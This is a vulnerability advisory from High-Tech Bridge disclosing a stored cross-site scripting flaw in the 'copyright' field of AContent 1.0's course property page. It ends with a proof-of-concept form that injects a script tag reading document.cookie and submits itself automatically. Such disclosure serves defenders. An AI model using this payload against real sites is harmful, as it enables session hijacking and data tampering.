Vulnerability ID: HTB22598 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_acontent_course.html Product: AContent Vendor: Inclusive Design Institute ( http://www.atutor.ca/ ) Vulnerable Version: 1.0 Vendor Notification: 01 September 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "home/course/course_property.php" script to properly sanitize user-supplied input in "copyright" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/home/course/course_property.php?_course_id=COURSE_ID"; method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="_course_id" value="COURSE_ID" /> <input type="hidden" name="title" value="Creating Lesson in AContent" /> <input type="hidden" name="category_id" value="0" /> <input type="hidden" name="pri_lang" value="en" /> <input type="hidden" name="description" value="Learn how to" /> <input type="hidden" name="copyright" value='1"><script>alert(document.cookie)</script>' /> <input type="submit" name="submit" id="sbmtit" value="Save" /> </form> <script> document.getElementById('sbmtit').click(); </script>
